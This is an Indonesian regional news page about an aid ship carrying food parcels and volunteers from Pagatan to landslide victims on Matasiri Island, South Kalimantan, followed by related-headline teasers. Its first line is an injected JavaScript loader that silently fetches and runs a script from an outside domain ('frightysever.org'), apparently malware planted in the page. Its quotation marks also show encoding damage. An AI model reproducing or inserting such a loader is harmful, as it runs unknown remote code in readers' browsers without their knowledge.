(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PAGATAN, Menunaikan amanah masyarakat Kalimantan Selatan untuk korban longsor Pulau Matasiri, Kapal Ramadhan akhirnya diberangkatkan malam ini (31/5). Tim Aksi Cepat Tanggap (ACT) – Masyarakat Relawan Indonesia (MRI) Kalimantan Selatan (Kalsel) telah meluncur sejak pagi tadi dari Banjarmasin menuju Kota Pagatan, Kabupaten Tanah Bumbu. Dan setibanya di Pagatan nanti tim akan bergabung dengan beberapa relawan dari Tanah Bumbu dan Kotabaru.
Koordinator Program ACT Kalsel Muhammad Budi Rahman Wahid menerangkan bahwa kapal akan berangkat dari pelabuhan di Kota Pagatan, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu.
“Keberangkatan dari Pagatan akan lebih mempercepat pengiriman bantuan karena waktu tempuh hanya sekitar 8 jam, kalau dari Kotabaru bisa mencapai 14 jam perjalanan,†ujarnya.
Budi, sapaan akrabnya, menyebutkan bahwa bantuan yang dibawa merupakan hasil penggalangan dana dari para relawan dan Konser Kemanusiaan bersama Melly Goeslaw beberapa waktu lalu di Banjarmasin. “Bantuan yang dikirimkan mencapai satu ton berupa bahan pangan untuk menyambut lebaran,†ucap Budi.
Kapal Ramadan untuk Pulau Matasiri dilepas oleh Sekda Kabupaten Tanah Bumbu H Rooswandi Salem. Rooswandi menyambut baik dan mendukung program Kapal Ramadan yang diinisiasi ACT. “Ini adalah hal yang baik sekali untuk menunjukan kepedulian terhadap saudara-saudara kita, mudah-mudahan komunitas lain bisa mengikuti apa yang dilakukan ACT,†tuturnya.
Rooswandi juga berharap kedepan bisa mengajak komunitas-komunitas sosial yang ada untuk bersinergi menyelesaikan masalah sosial di Tanah Bumbu. “Semoga perjalanan Kapal Ramadan lancar dan selamat di perjalanan sampai ke tujuan,†imbuhnya.
Selain bantuan paket lebaran, belasan relawan turut diberangkatkan. Anjar Supangat, salah seorang relawan MRI Tanah Bumbu mengaku senang sekali bisa ikut dalam ekspedisi Kapal Ramadan. Meski menjadi pengalaman pertama, Anjar yakin perjalanan ini akan menjadi pengalaman yang sangat mengasyikan.
“Ini adalah bagian dari prinsip hidup saya yaitu sebaik-baik manusia ialah manusia yang bermanfaat bagi orang lain. Terima kasih kepada ACT Kalsel yang telah mengajak Saya dalam misi ini,†ungkapnya.
Diperkirakan Kapal Ramadhan akan sampai di Pulau Matasiri pada Sabtu (1/6) pagi. Direncanakan tim akan langsung mendistribusikan bantuan ke warga Pulau Matasiri hari itu juga. Setelah itu tim akan kembali pada malam harinya.
Pulau Matasiri merupakan salah satu pulau di Kecamatan Pulau Sembilan, Kabupaten Kotabaru, Kalimantan Selatan. Warga di sana kebanyakan berprofesi sebagai nelayan. Wilayah tersebut juga dikenal sebagai kawasan endemik Malaria. Sebulan yang lalu (28/4) terjadi bencana alam berupa tanah longsor dan mengakibatkan dua warga tertimbun dan 26 rumah mengalami kerusakan. (retno/act)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.